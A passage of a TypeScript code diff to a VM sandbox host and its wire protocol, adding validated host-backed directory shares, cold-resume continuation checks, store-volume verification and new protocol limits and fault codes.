logicalSessionId: string): void }; + /** Opens a share's host directory as exactly that directory (a canonical path, O_NOFOLLOW|O_DIRECTORY), described by its own descriptor. Absent: a start that asks for shares is refused. */ + readonly shareDirectories?: { open(hostPath: string): { readonly fd: number; readonly device: string; readonly inode: string; close(): void } }; readonly timeouts?: Partial; readonly memoryMiB?: number; /** TEST ONLY: lets a test pass timeouts shorter than the contract's floor. Never set outside tests. */ readonly unsafeTestTimeouts?: boolean; @@ -88,7 +96,20 @@ export type CoworkNativeStopOutcome = | { readonly released: true; readonly evidence: CoworkNativeEvidenceKind } | { readonly released: false; readonly reason: string }; /** What a caller of `start` may add: the conversation set comes from the caller (a Cowork session), not only from `deps.conversations`. */ +/** One host-backed share the host prepared (contract revision 3). `hostPath` is a canonical directory the host opens itself; a folder share names the source it backs. */ +export interface CoworkNativeHostShare { + readonly tag: string; readonly kind: CoworkNativeShareKind; readonly guestPath: string; readonly readOnly: boolean; readonly hostPath: string; + readonly sourceId?: string; readonly revision?: number; +} export interface CoworkNativeStartRequest { + /** The shares this incarnation mounts, or null/absent for none. Asked once, before `begin`; the L1 `shares` line carries one open directory per share. */ + readonly shares?: () => readonly CoworkNativeHostShare[] | null; + /** At the guest's `shares_mounted`, BEFORE the conversation set: each mounted folder source, mapped from its tag. A throw faults the boot (`share_mount_failed`). */ + readonly sharesMounted?: (context: CoworkNativeConversationContext, mounted: readonly { readonly sourceId: string; readonly revision: number }[]) => void; + /** A gated cold resume: put on every host-query conversation's runtime record, and checked against the guest's `continuation` echo. */ + readonly resume?: { readonly continuation: "fresh" | "resume" | "either"; readonly endedGuestBoots: readonly string[] }; + /** The host decided the conversation's guest store is gone: the guest said `resume_store_missing`, or the data volume is not the one the store lived on. */ + readonly storeLost?: (reason: "resume_store_missing" | "volume_mismatch" | "volume_unformatted") => void; /** Called once at `mounted`; returns this incarnation's set (N2: at most one host-query conversation), or null for none. Takes precedence over `deps.conversations`. */ readonly conversations?: (context: CoworkNativeConversationContext) => CoworkNativeConversationSet | null; } @@ -105,6 +126,8 @@ export interface CoworkNativeRunning { readonly workspaceId: string; readonly incarnationId: string; readonly leaseEpoch: number; readonly admissionId: string; readonly owner: CoworkVolumeOwner; /** The guest's boot id from its `hello` (what the conversation set was bound to). */ readonly guestBootId: string; + /** What the guest reported for each host-query conversation at `runtime_ready`: `fresh` or `resume`, as the supervisor ran it (contract 12.2). Empty for a tools-only set. */ + readonly continuations: readonly ("fresh" | "resume")[]; /** The runtime link of conversation 0; throws `not_running` when this incarnation has no host-query conversation. */ runtime(conversation: 0): CoworkNativeRuntimeLink; /** Resolves when the incarnation's stop outcome is known (released or not), however it ended. */ @@ -127,7 +150,9 @@ interface Run { readySeen: boolean; readyAccepted: boolean; duplicateSeqAnomaly: boolean; pendingDuplicates: Extract[]; /** Set when a runtime violation must end the incarnation but the start has not finished yet (a stop needs a running guest): the start stops it as soon as it is running. */ overflowStop?: boolean; - request: CoworkNativeStartRequest | undefined; guestBootId: string; + request: CoworkNativeStartRequest | undefined; guestBootId: string; continuations: readonly ("fresh" | "resume")[]; + /** The shares the start sent, by tag (for the `shares_mounted` mapping). */ + shares: readonly CoworkNativeHostShare[]; /** The runtime class, created when the conversation set goes out. */ runtime: RuntimeEnd | null; /** How this incarnation ended, known to `ended`; set before `dispose`. */ @@ -204,6 +229,7 @@ class SessionInbox { export class CoworkNativeHost { private readonly runs = new Map(); + private readonly planEpochs = new CoworkPlanEpochGuard(); private readonly timeouts: CoworkNativeHostTimeouts; private readonly uncertainHandlers: ((event: CoworkNativeUncertainEvent) => void)[] = []; private readonly now: () => number; @@ -244,6 +270,7 @@ export class CoworkNativeHost { const before = volumes.records(workspaceId); if (before.length !== 2 || before.some(v => v.state !== "allocated")) throw new CoworkNativeHostError("not_allocated"); if (before.some(v => v.owner !== null)) throw new CoworkNativeHostError("owner_held", "a previous owner still holds the volumes; recover first"); + this.checkStoreVolume(workspaceId, before, request); const runtimeImageDigest = this.deps.images.runtimeImageDigest(workspaceId); if (typeof runtimeImageDigest !== "string" || !/^[a-f0-9]{64}$/.test(runtimeImageDigest)) throw new CoworkNativeHostError("bad_image_digest"); const receiptKey = this.deps.receiptKey(); @@ -260,7 +287,7 @@ export class CoworkNativeHost { const owner: CoworkVolumeOwner = { controllerInstanceId, workerInstanceId, incarnationId, leaseEpoch: epoch.leaseEpoch, runtimeImageDigest }; const run: Run = { key: { workspaceId, incarnationId, leaseEpoch: epoch.leaseEpoch }, owner, homeId, receiptKey, admissionId: null, session: null, binding: null, inbox: null, phase: "starting", unsubscribe: [], downSeq: 0, upSeq: new CoworkNativeMuxSequence(), observed: { volumesAccepted: false, vmRunning: false, guestHello: false, guestFault: false }, stopHeartbeat: null, conversationsSent: false, earlyReady: false, readySeen: false, readyAccepted: false, duplicateSeqAnomaly: false, pendingDuplicates: [], - request, guestBootId: "", runtime: null, outcome: null, endedResolve: () => {}, ended: Promise.resolve({ released: false, reason: "never started" }) }; + request, guestBootId: "", continuations: [], shares: [], runtime: null, outcome: null, endedResolve: () => {}, ended: Promise.resolve({ released: false, reason: "never started" }) }; run.ended = new Promise(resolve => { run.endedResolve = resolve; }); this.runs.set(workspaceId, run); this.hook("incarnation-begun"); @@ -276,7 +303,26 @@ export class CoworkNativeHost { this.hook("power-running"); this.watch(run); if (run.overflowStop) void this.stop(workspaceId, "shutdown").catch(() => {}); - return Object.freeze({ workspaceId, incarnationId, leaseEpoch: epoch.leaseEpoch, admissionId: run.admissionId!, owner, guestBootId: run.guestBootId, ended: run.ended, runtime: (conversation: 0) => this.runtimeLink(run, conversation), stop: (reason: "user" | "shutdown" | "restart" | "update" = "user") => this.stop(workspaceId, reason) }); + return Object.freeze({ workspaceId, incarnationId, leaseEpoch: epoch.leaseEpoch, admissionId: run.admissionId!, owner, guestBootId: run.guestBootId, continuations: run.continuations, ended: run.ended, runtime: (conversation: 0) => this.runtimeLink(run, conversation), stop: (reason: "user" | "shutdown" | "restart" | "update" = "user") => this.stop(workspaceId, reason) }); + } + + /** CR4 step 9: the data volume is the one the guest store lives on. Runs before the incarnation moves, so a refusal leaves nothing behind. + * - a store the host believes exists (`resume`/`either`) over a volume that was never formatted (a format-new would follow) is a lost store; + * - the volume's filesystem UUID is kept per workspace, write-once, and a different one is refused (a lost store when one was expected). */ + private checkStoreVolume(workspaceId: string, volumes: readonly CoworkVolumeRecord[], request: CoworkNativeStartRequest | undefined): void { + const data = volumes.find(volume => volume.purpose === "data"); + if (!data || data.filesystemUUID === null) throw new CoworkNativeHostError("not_allocated"); + const resuming = request?.resume !== undefined && request.resume.continuation !== "fresh"; + const lost = (reason: "volume_mismatch" | "volume_unformatted"): never => { + try { request?.storeLost?.(reason); } catch { /* the refusal below stands either way */ } + throw new CoworkNativeHostError("store_lost", reason); + }; + if (resuming && data.filesystemState === "unformatted") lost("volume_unformatted"); + const records = this.deps.guestRecords; + if (records && records.recordStoreVolumeUuid(workspaceId, data.filesystemUUID) === "mismatch") { + if (resuming) lost("volume_mismatch"); + throw new CoworkNativeHostError("store_lost", "volume_mismatch"); + } } private async launch(run: Run): Promise { @@ -316,6 +362,9 @@ export class CoworkNativeHost { run.binding = binding; this.moveAdmission(run, "booting"); + // 2b. host-backed shares (contract revision 3): ONE open directory per share on L1, after `hello` and before `begin`, at most once. + run.shares = this.sendShares(run, session); + // 3. begin: the worker is spawned suspended, validated, sandboxed const full: CoworkNativeScope = { ...scope, admissionId: reserved.admissionId }; const begin = `req-${this.uuid()}`.slice(0, 63); @@ -357,6 +406,8 @@ export class CoworkNativeHost { // 5. bootstrap: hello, plan(nonce), receipt, confirm const hello = await run.inbox.expect(message => message.t === "mux_up" && message.frame.class === "bootstrap" && message.frame.message.t === "hello" ? message.frame : undefined, this.timeouts.guestHelloMs, "guest hello"); run.upSeq.accept(hello, "up"); + // The boot is recorded when the guest says hello, before anything else is asked of it: a boot that is not recorded can never be attested as ended. + if (hello.message.t === "hello") this.deps.guestRecords?.recordHello({ workspaceId, incarnationId: owner.incarnationId, leaseEpoch: owner.leaseEpoch, guestBootId: hello.message.guestBootId }); const { nonce } = binding.issuePlan(plan); this.sendBootstrap(run, { t: "plan", operationId: plan.operationId, nonce, plan: sortedCanonical(plan) as Record }); this.hook("bootstrap-sent"); @@ -383,6 +434,7 @@ export class CoworkNativeHost { if (run.earlyReady) throw new CoworkNativeHostError("protocol", "runtime_ready before the conversation set"); run.upSeq.accept(mounted, "up"); run.guestBootId = hello.message.t === "hello" ? hello.message.guestBootId : ""; + await this.deliverShares(run, { workspaceId, incarnationId: owner.incarnationId, leaseEpoch: owner.leaseEpoch, guestBootId: run.guestBootId }, plan.operationId, nonce); await this.deliverConversations(run, { workspaceId, incarnationId: owner.incarnationId, leaseEpoch: owner.leaseEpoch, guestBootId: run.guestBootId }, plan.operationId, nonce); binding.advance("ready"); this.deps.power.transition(run.key, "starting", "running"); @@ -398,13 +450,78 @@ export class CoworkNativeHost { /** The up-direction bootstrap sequence number the host expects next for a workspace it runs (diagnostics and tests). */ nextBootstrapUpSequence(workspaceId: string): number | undefined { return this.runs.get(workspaceId)?.upSeq.nextExpected("bootstrap", "up"); } + /** The L1 `shares` line. Every directory is opened here with O_NOFOLLOW|O_DIRECTORY from a canonical path (the realpath must equal the path), described by its own + * descriptor (device, inode), sent, and closed: the launcher owns its copies. A share that cannot be opened as exactly that directory refuses the start. */ + private sendShares(run: Run, session: CoworkLauncherSession): readonly CoworkNativeHostShare[] { + const wanted = run.request?.shares?.() ?? null; + if (wanted === null || wanted.length === 0) return []; + const opener = this.deps.shareDirectories; + if (opener === undefined) throw new CoworkNativeHostError("prepare_failed", "no share directory opener"); + const handles: { readonly fd: number; close(): void }[] = []; + try { + const records: CoworkNativeShareRecord[] = wanted.map(share => { + let handle: ReturnType; + try { handle = opener.open(share.hostPath); } catch (error) { throw new CoworkNativeHostError("prepare_failed", "a share could not be opened", { cause: error }); } + handles.push(handle); + return { tag: share.tag, kind: share.kind, mode: share.readOnly ? "ro" : "rw", device: handle.device, inode: handle.inode, path: share.hostPath, guestPath: share.guestPath }; + }); + const id = `req-${this.uuid()}`.slice(0, 63); + try { session.send({ t: "shares", id, shares: records }, handles.map(handle => handle.fd)); } catch (error) { throw new CoworkNativeHostError("prepare_failed", error instanceof Error ? error.name : "shares refused", { cause: error }); } + return Object.freeze([...wanted]); + } finally { for (const handle of handles) { try { handle.close(); } catch { /* already closed */ } } } + } + + /** After `mounted`, before the set: the bootstrap `shares` (what the guest must find), then `shares_mounted` (or a fault), then the request's `sharesMounted` with each mounted + * FOLDER source mapped from its tag. A throw there is the bootstrap fault `share_mount_failed`: the start fails and the stop that follows is orderly. */ + private async deliverShares(run: Run, context: CoworkNativeConversationContext, operationId: string, nonce: string): Promise { + if (run.shares.length === 0) return; + const guestShares: CoworkNativeGuestShare[] = run.shares.map(share => ({ tag: share.tag, guestPath: share.guestPath, readOnly: share.readOnly, kind: share.kind })); + this.sendBootstrap(run, { t: "shares", operationId, nonce, shares: guestShares }); + const reply = await run.inbox!.expect(item => item.t === "mux_up" && item.frame.class === "bootstrap" && (item.frame.message.t === "shares_mounted" || item.frame.message.t === "fault") ? item.frame : undefined, this.timeouts.mountedMs, "shares_mounted"); + run.upSeq.accept(reply, "up"); + const answer = (reply as Extract).message; + if (answer.t === "fault") throw new CoworkNativeHostError("guest_fault", answer.code); + if (answer.t !== "shares_mounted" || answer.operationId !== operationId || answer.nonce !== nonce) throw new CoworkNativeHostError("protocol", "shares_mounted does not answer these shares"); + this.hook("shares-mounted"); + const mounted = run.shares.flatMap(share => share.kind === "folder" && share.sourceId !== undefined && share.revision !== undefined ? [{ sourceId: share.sourceId, revision: share.revision }] : []); + if (mounted.length === 0 || run.request?.sharesMounted === undefined) return; + try { run.request.sharesMounted(context, mounted); } catch (error) { + if (isCrash(error)) throw error; + throw new CoworkNativeHostError("guest_fault", "share_mount_failed", { cause: error }); + } + } + + /** What the host adds to a set before it is bound and sent: the resume record on each host-query runtime, the outputs directory a conversation names, and the plan view's + * epoch rule. A refusal here means nothing was sent. */ + private prepareSet(run: Run, context: CoworkNativeConversationContext, set: CoworkNativeConversationSet): CoworkNativeConversationSet { + const resume = run.request?.resume; + const conversations = set.conversations.map(item => { + if (resume !== undefined && item.runtime !== null) return { ...item, runtime: { ...item.runtime, continuation: resume.continuation, endedGuestBoots: [...resume.endedGuestBoots] } }; + return item; + }); + for (const item of conversations) { + for (const root of item.roots) { + if (root.guestPath === `/workspace/outputs/${item.logicalSessionId}` && this.deps.outputs !== undefined) { + try { this.deps.outputs.ensure(context.workspaceId, item.logicalSessionId); } catch (error) { throw new CoworkNativeHostError("prepare_failed", error instanceof CoworkGuestDirectoryError ? error.code : "outputs directory", { cause: error }); } + } + const plan = parseCoworkPlanView(root.guestPath); + if (plan !== null) { + try { this.planEpochs.admit(context.workspaceId, plan.logicalSessionId, plan.epoch); } catch (error) { throw new CoworkNativeHostError("protocol", error instanceof CoworkGuestDirectoryError ? error.code : "plan epoch", { cause: error }); } + } + } + } + return { profile: set.profile, conversations }; + } + /** Contract 6.1: the conversation set goes out ONCE, after `mounted`, bound to the plan's operation and nonce; `running` waits for `runtime_ready`. * A refusal to bind or to serialize means nothing was sent. A bootstrap fault, a wrong echo or a wrong count fails the start (and the stop that follows is orderly). */ private async deliverConversations(run: Run, context: CoworkNativeConversationContext, operationId: string, nonce: string): Promise { const source = run.request?.conversations ?? this.deps.conversations; - const set = source?.(context) ?? null; - if (set === null) return; - const message = { t: "conversations" as const, operationId, nonce, incarnationId: context.incarnationId, profile: set.profile, conversations: set.conversations }; + const built = source?.(context) ?? null; + if (built === null) return; + const set = this.prepareSet(run, context, built); + // `browseUid` is null until the file channel is routed (FC5); contract revision 3. + const message = { t: "conversations" as const, operationId, nonce, incarnationId: context.incarnationId, profile: set.profile, browseUid: null, conversations: set.conversations }; if (set.profile !== null && set.conversations.length !== 1) throw new CoworkNativeHostError("protocol", "a host-query profile carries exactly one conversation"); if (!coworkNativeConversationsAreBound(message, { operationId, nonce, workspaceId: context.workspaceId, incarnationId: context.incarnationId, leaseEpoch: context.leaseEpoch, guestBootId: context.guestBootId })) throw new CoworkNativeHostError("protocol", "conversation set is not bound to this incarnation"); run.downSeq += 1; @@ -421,8 +538,20 @@ export class CoworkNativeHost { run.readyAccepted = true; for (const frame of run.pendingDuplicates.splice(0)) this.acceptDuplicate(run, frame); const answer = (reply as Extract).message; - if (answer.t === "fault") throw new CoworkNativeHostError("guest_fault", answer.code); + if (answer.t === "fault") { + // The guest's own store is gone (a `resume` it could not find): the conversation can neither resume nor start fresh under its identity. The other cold-resume + // fault, `fresh_store_not_empty`, is a refusal only: a store exists, so nothing is lost. + // Only a `resume` we sent can find a store missing; for any other continuation the fault is a contract violation, not a lost store. + if (answer.code === "resume_store_missing" && !set.conversations.some(item => item.runtime?.continuation === "resume")) throw new CoworkNativeHostError("protocol", "resume_store_missing without a resume"); + if (answer.code === "resume_store_missing") { try { run.request?.storeLost?.("resume_store_missing"); } catch { /* the failed start stands either way */ } } + throw new CoworkNativeHostError("guest_fault", answer.code); + } if (answer.t !== "runtime_ready" || answer.operationId !== operationId || answer.nonce !== nonce || answer.conversations !== set.conversations.length) throw new CoworkNativeHostError("protocol", "runtime_ready does not answer this set"); + // The continuation echo (contract 12.2): one entry per host-query conversation, and the guest never runs one differently from what the host decided + // (`either` is the guest's own choice between the two). + const sent = set.conversations.flatMap(item => item.runtime === null ? [] : [item.runtime.continuation]); + if (answer.continuations.length !== sent.length || answer.continuations.some((ran, index) => sent[index] !== "either" && sent[index] !== ran)) throw new CoworkNativeHostError("protocol", "the guest's continuation does not match the set"); + run.continuations = answer.continuations; this.hook("runtime-ready"); } diff --git a/packages/core/src/cowork/native/protocol.ts b/packages/core/src/cowork/native/protocol.ts index 18bc3edd8..2a343717d 100644 --- a/packages/core/src/cowork/native/protocol.ts +++ b/packages/core/src/cowork/native/protocol.ts @@ -16,7 +16,7 @@ import { CoworkNativeReceiptKey, computeCoworkNativeReceiptMac, isCanonicalBase6 * socketpair and spawned the launcher; no field in any frame below can say so on its own behalf. * * L1 daemon <-> launcher AF_UNIX SOCK_STREAM socketpair. NDJSON, one canonical JSON object per line. - * SCM_RIGHTS rides on exactly one line type (`volumes`, exactly two descriptors). + * SCM_RIGHTS rides on exactly two line types (`volumes`, exactly two descriptors; `shares`, one per share). * L2 launcher <-> worker unnamed AF_UNIX SOCK_DGRAM socketpair. Fixed-layout little-endian ENVELOPES. * L3 launcher <-> worker unnamed AF_UNIX SOCK_STREAM socketpair. MUX FRAMES of the bootstrap and runtime classes. * L4 worker <-> guest the libkrun generic virtio-console port. MUX FRAMES of every class. @@ -32,6 +32,11 @@ export const COWORK_NATIVE_PROTOCOL_VERSION = 1; * `mac` key and the `begin` line a final `receiptKey` key (owner ruling 2026-10-18). The binary headers (L2 envelope, L3/L4 mux) and the bootstrap/runtime * JSON that rides inside mux frames stay at version 1: nothing in them changed. */ export const COWORK_NATIVE_TEXT_VERSION = 2; +/** The `v` of the bootstrap-class JSON inside mux frames. 2 = contract revision 3 (2026-10-19): the conversation set gained `browseUid` and, per runtime, + * `continuation` and `endedGuestBoots`; `runtime_ready` gained `continuations`; `shares` and `shares_mounted` are new. A revision-2 guest refuses a + * version-2 payload as `version`, never half-parses it. Control-class JSON did not change and stays at 1 (`COWORK_NATIVE_CONTROL_VERSION`). */ +export const COWORK_NATIVE_BOOTSTRAP_VERSION = 2; +export const COWORK_NATIVE_CONTROL_VERSION = 1; /** Every refusal the parsers raise. `reserved_class` is the provider class; there is no implementation behind it. */ export const COWORK_NATIVE_PROTOCOL_FAILURES = Object.freeze(["malformed", "oversize", "version", "unknown_type", "bad_field", "bad_direction", "bad_rights", "reserved_class", "bad_sequence"] as const); @@ -72,6 +77,19 @@ export const COWORK_NATIVE_LIMITS = Object.freeze({ runtimePrefixBytes: 4, runtimeConversations: 16, /** Host-side bound on runtime IN bytes sent with no OUT or ERR byte received since: the guest relay's IN ring is 4 MiB and an overflow stops the whole guest, so the host stays at a quarter of it. */ runtimeInFlightBytes: 1_048_576, + /** The guest file channel (streams FILE_IN and FILE_OUT, conversation 0 only) has its OWN bound, never the runtime IN count: at most this many + * request lines outstanding (a request is answered when its response line's newline arrives on FILE_OUT), each request line and each response + * line at most these many bytes, the newline included. Equal to the guest file channel's own request and response frame bounds (protocol.test.ts pins the equality; this module imports nothing from the channel). */ + fileInFlightRequests: 4, fileRequestBytes: 16_384, fileResponseBytes: 393_216, + /** Host-backed shares: at most this many per incarnation (nine folder sources and the three Winter shares), tags `[a-z0-9-]{1,32}`, one fixed + * L2 record per share slot. */ + shares: 12, folderShares: 9, shareTagChars: 32, shareRecordBytes: 308, + /** Cold resume: at most this many host-attested ended guest boots per conversation. */ + endedGuestBoots: 4, + /** A runtime's `timeoutMs` ceiling, for the host-query profiles only (the fixture `fresh` profile is never carried here and keeps its 600 s + * ceiling). The guest backstop for host-query runtimes is 24 h (owner O7, 2026-10-19); the agent SDK supervisor admits + * more than 600000 only from its CR2 release on, so a set above 600000 is refused by an older pinned supervisor (fail closed). */ + runtimeTimeoutCeilingMs: 86_400_000, }); /** Launcher kill deadline for a drain with this budget: the guest may spend all of `budgetMs`, the VMM exit path needs up to * `libkrunExitWatchdogMs` after that, and the launcher must not kill before that watchdog can have fired. */ @@ -170,11 +188,12 @@ const sortedObject: Validator> = value => isPlain(value) // ------------------------------------------------------------------------------------------------ vocabularies -export const COWORK_NATIVE_REFUSAL_CODES = Object.freeze(["bad_request", "busy", "not_begun", "worker_spawn_failed", "code_identity_mismatch", "sandbox_failed", "volumes_rejected", "internal"] as const); +export const COWORK_NATIVE_REFUSAL_CODES = Object.freeze(["bad_request", "busy", "not_begun", "worker_spawn_failed", "code_identity_mismatch", "sandbox_failed", "volumes_rejected", "internal", "shares_rejected"] as const); export const COWORK_NATIVE_CHANNEL_FAULTS = Object.freeze(["parent_unverified", "protocol_violation", "worker_channel_lost", "internal"] as const); export const COWORK_NATIVE_WORKER_STATES = Object.freeze(["sandboxed", "volumes_accepted", "vm_running", "guest_hello", "draining", "drain_acked", "exited", "halting", "guest_fault"] as const); export const COWORK_NATIVE_STOP_REASONS = Object.freeze(["user", "shutdown", "restart", "update", "failed-start"] as const); -export const COWORK_NATIVE_BOOTSTRAP_FAULTS = Object.freeze(["bad_plan", "probe_failed", "format_failed", "replay_failed", "mount_failed", "internal", "bad_conversations", "supervisor_failed", "second_conversations"] as const); +export const COWORK_NATIVE_BOOTSTRAP_FAULTS = Object.freeze(["bad_plan", "probe_failed", "format_failed", "replay_failed", "mount_failed", "internal", "bad_conversations", "supervisor_failed", "second_conversations", + "share_inventory", "share_mount_failed", "resume_store_missing", "fresh_store_not_empty"] as const); /** Control-up `fault` codes (guest to worker): the guest says it is failing. The worker reflects it as the L2 status `guest_fault`; after one, no Class A can exist. */ export const COWORK_NATIVE_GUEST_FAULTS = Object.freeze(["unmount_failed", "supervisor_lost", "protocol_violation", "internal"] as const); /** Class B reasons. None of them can ever release anything. */ @@ -183,6 +202,50 @@ export const COWORK_NATIVE_STOP_ORIGINS = Object.freeze(["host-stop", "owner-los export const COWORK_NATIVE_VOLUME_PURPOSES = Object.freeze(["data", "environment"] as const); export type CoworkNativeVolumePurpose = typeof COWORK_NATIVE_VOLUME_PURPOSES[number]; +// ------------------------------------------------------------------------------------------------ host-backed shares (contract revision 3) + +/** What a share is (design 2026-10-18 n2-extensions section 2.1). A folder source is the user's granted folder; the three Winter shares are + * host-made records under the workspace's `shared/` directory. */ +export const COWORK_NATIVE_SHARE_KINDS = Object.freeze(["folder", "guidance", "memory", "outputs"] as const); +export type CoworkNativeShareKind = typeof COWORK_NATIVE_SHARE_KINDS[number]; +/** `share_notice` kinds: an allowed write to a watched auto-run name, or an R15 refusal (`git_protected`). Appended, never renumbered (L2 `share_event` numbers them from 1). */ +export const COWORK_NATIVE_SHARE_NOTICE_KINDS = Object.freeze(["envrc", "vscode_tasks", "vscode_settings", "code_workspace", "idea_project", "git_protected"] as const); +export type CoworkNativeShareNoticeKind = typeof COWORK_NATIVE_SHARE_NOTICE_KINDS[number]; +/** The fixed guest mount point of each Winter share; a folder source mounts at `/workspace/folders/`. */ +export const COWORK_NATIVE_SHARE_MOUNTS = Object.freeze({ guidance: "/run/winter/shared-instructions", memory: "/workspace/.winter/memory", outputs: "/workspace/outputs" } as const); +const SHARE_TAG = /^[a-z0-9-]{1,32}$/; +const FOLDER_MOUNT = /^\/workspace\/folders\/[A-Za-z0-9][A-Za-z0-9_.-]{0,127}$/; +const shareTag: Validator = value => typeof value === "string" && SHARE_TAG.test(value) ? value : fail(); +// eslint-disable-next-line no-control-regex +const HOST_PATH_CONTROL = /[\u0000-\u001f\u007f]/; +/** A canonical absolute HOST path (a share root, a worker argv path): absolute, no `.`, `..` or empty component, not `/` itself, well-formed UTF-8 of at + * most 1024 bytes, no control character. It names a directory the daemon already opened; the receiver compares it with `F_GETPATH` of that descriptor. */ +const hostPath: Validator = value => { + if (typeof value !== "string" || value.length < 2 || !value.startsWith("/") || !value.isWellFormed() || HOST_PATH_CONTROL.test(value) || Buffer.byteLength(value, "utf8") > 1024) return fail(); + return value.slice(1).split("/").some(part => part === "" || part === "." || part === "..") ? fail() : value; +}; +const nestedOrEqual = (a: string, b: string): boolean => a === b || b.startsWith(`${a}/`) || a.startsWith(`${b}/`); +/** The guest mount point a share of this kind must use. */ +function shareMountOk(kind: CoworkNativeShareKind, guestPath: string): boolean { + return kind === "folder" ? FOLDER_MOUNT.test(guestPath) : guestPath === COWORK_NATIVE_SHARE_MOUNTS[kind]; +} +/** Read-only is fixed for the Winter shares (guidance read-only; memory and outputs read-write) and the grant's for a folder source. */ +const shareModeOk = (kind: CoworkNativeShareKind, readOnly: boolean): boolean => kind === "folder" || readOnly === (kind === "guidance"); +/** The rules across a share list, the same on L1 and in the bootstrap message: 1 to 12 shares, at most 9 folders and one of each Winter kind, + * distinct tags, distinct guest paths, every guest path the right one for its kind, and every mode the right one for its kind. */ +function checkShareSet(items: readonly { tag: string; kind: CoworkNativeShareKind; guestPath: string; readOnly: boolean }[]): void { + if (items.length < 1 || items.length > COWORK_NATIVE_LIMITS.shares) return fail(); + if (new Set(items.map(item => item.tag)).size !== items.length || new Set(items.map(item => item.guestPath)).size !== items.length) return fail(); + if (items.filter(item => item.kind === "folder").length > COWORK_NATIVE_LIMITS.folderShares) return fail(); + for (const kind of ["guidance", "memory", "outputs"] as const) if (items.filter(item => item.kind === kind).length > 1) return fail(); + if (items.some(item => !shareMountOk(item.kind, item.guestPath) || !shareModeOk(item.kind, item.readOnly))) return fail(); +} +export interface CoworkNativeShareRecord { + readonly tag: string; readonly kind: CoworkNativeShareKind; readonly mode: "ro" | "rw"; + readonly device: string; readonly inode: string; readonly path: string; readonly guestPath: string; +} +export interface CoworkNativeGuestShare { readonly tag: string; readonly guestPath: string; readonly readOnly: boolean; readonly kind: CoworkNativeShareKind } + // ------------------------------------------------------------------------------------------------ owner scope /** What the daemon tells the launcher to start (`begin`), what the launcher gives the worker (envelope SCOPE) and what @@ -333,10 +396,16 @@ export type CoworkNativeBootstrapMessage = | { readonly t: "fault"; readonly operationId: string; readonly nonce: string; readonly code: typeof COWORK_NATIVE_BOOTSTRAP_FAULTS[number] } | { readonly t: "ready"; readonly operationId: string; readonly nonce: string } | { readonly t: "mounted"; readonly operationId: string; readonly nonce: string } - | { readonly t: "conversations"; readonly operationId: string; readonly nonce: string; readonly incarnationId: string; readonly profile: CoworkNativeRuntimeProfile | null; readonly conversations: readonly CoworkNativeConversation[] } - | { readonly t: "runtime_ready"; readonly operationId: string; readonly nonce: string; readonly conversations: number }; -/** The three byte streams of one conversation's `RuntimeDuplexPorts`: `in` = IN (host to guest), `out` = OUT and `err` = ERR (guest to host). */ -export const COWORK_NATIVE_RUNTIME_STREAMS = Object.freeze(["in", "out", "err"] as const); + | { readonly t: "shares"; readonly operationId: string; readonly nonce: string; readonly shares: readonly CoworkNativeGuestShare[] } + | { readonly t: "shares_mounted"; readonly operationId: string; readonly nonce: string } + | { readonly t: "conversations"; readonly operationId: string; readonly nonce: string; readonly incarnationId: string; readonly profile: CoworkNativeRuntimeProfile | null; readonly browseUid: number | null; readonly conversations: readonly CoworkNativeConversation[] } + | { readonly t: "runtime_ready"; readonly operationId: string; readonly nonce: string; readonly conversations: number; readonly continuations: readonly ("fresh" | "resume")[] }; +/** The byte streams of the runtime class. `in`, `out` and `err` are one conversation's `RuntimeDuplexPorts` (IN host to guest, OUT and ERR guest to host). + * `file_in` (host to guest) and `file_out` (guest to host) are the guest file channel (contract revision 3): legal on conversation 0 only, offered only to an + * image that declares the `file-channel-v1` runtime capability, and counted apart from IN (`CoworkNativeRuntimeStreams`). */ +export const COWORK_NATIVE_RUNTIME_STREAMS = Object.freeze(["in", "out", "err", "file_in", "file_out"] as const); +/** The runtime capability an image declares before the host may open the file channel. */ +export const COWORK_NATIVE_FILE_CHANNEL_CAPABILITY = "file-channel-v1"; export type CoworkNativeRuntimeStream = typeof COWORK_NATIVE_RUNTIME_STREAMS[number]; export type CoworkNativeMuxFrame = | { readonly class: "control"; readonly seq: number; readonly message: CoworkNativeControlMessage } @@ -361,7 +430,7 @@ export type CoworkNativeMuxFrame = */ export const COWORK_NATIVE_POLICIES = Object.freeze(["auto", "plan", "ask", "accept-edits", "dont-ask", "bypass"] as const); export const COWORK_NATIVE_RUNTIME_PROFILES = Object.freeze(["host-query-v1", "host-query-guided-v1"] as const); -export const COWORK_NATIVE_TOOL_CLASSES = Object.freeze(["read", "write", "execute"] as const); +export const COWORK_NATIVE_TOOL_CLASSES = Object.freeze(["read", "write", "execute", "coordinate"] as const); export type CoworkNativeRuntimeProfile = typeof COWORK_NATIVE_RUNTIME_PROFILES[number]; export interface CoworkNativeConversationAuthority { readonly workspaceId: string; readonly sessionId: string; readonly incarnationId: string; readonly leaseEpoch: number; @@ -374,6 +443,13 @@ export interface CoworkNativeConversationRuntime { readonly provider: Readonly>; /** Present exactly when the profile is `host-query-guided-v1`: the SDK's `requiredRuntimeContext.bindingId` and the backend generation. */ readonly guided: Readonly<{ bindingId: string; generation: number }> | null; + /** Cold resume (contract revision 3): `fresh` (the store must be empty), `resume` (it must hold this conversation's store) or `either` (the host started the + * conversation before but recorded no completed turn: the supervisor runs it fresh on an empty store and resumes a non-empty one). `either` is never sent once the host's + * `store_state` is `created` (a completed turn): from then on only `resume`, so a lost store faults instead of starting fresh. */ + readonly continuation: "fresh" | "resume" | "either"; + /** Guest boot ids the HOST attests have ended (recorded at that boot's `hello`, released by real proof): the only previous-boot evidence the owner + * library may mint. 0 to 4, distinct, never the live boot; empty for `fresh`. */ + readonly endedGuestBoots: readonly string[]; } export interface CoworkNativeConversation { readonly logicalSessionId: string; readonly authority: CoworkNativeConversationAuthority; @@ -403,8 +479,11 @@ function allowedView(path: string, sessionId: string): boolean { return (parts.length >= 3 && (parts[1] === "folders" || parts[1] === "repos")) || (parts.length === 3 && parts[1] === ".winter" && parts[2] === "memory") || (parts.length === 4 && parts[1] === ".winter" && parts[2] === "scratch" && parts[3] === sessionId) - || (parts.length === 3 && parts[1] === "outputs" && parts[2] === sessionId); + || (parts.length === 3 && parts[1] === "outputs" && parts[2] === sessionId) + // The plan view (contract 12.5): this conversation's own scratch for the plan epoch, `/workspace/plan//`, epoch a canonical non-negative decimal. + || (parts.length === 4 && parts[1] === "plan" && parts[2] === sessionId && /^(0|[1-9][0-9]{0,8})$/.test(parts[3]!)); } +const isPlanView = (path: string): boolean => path.startsWith("/workspace/plan/"); const rootsOf: Validator = value => { if (!Array.isArray(value) || value.length < 1 || value.length > 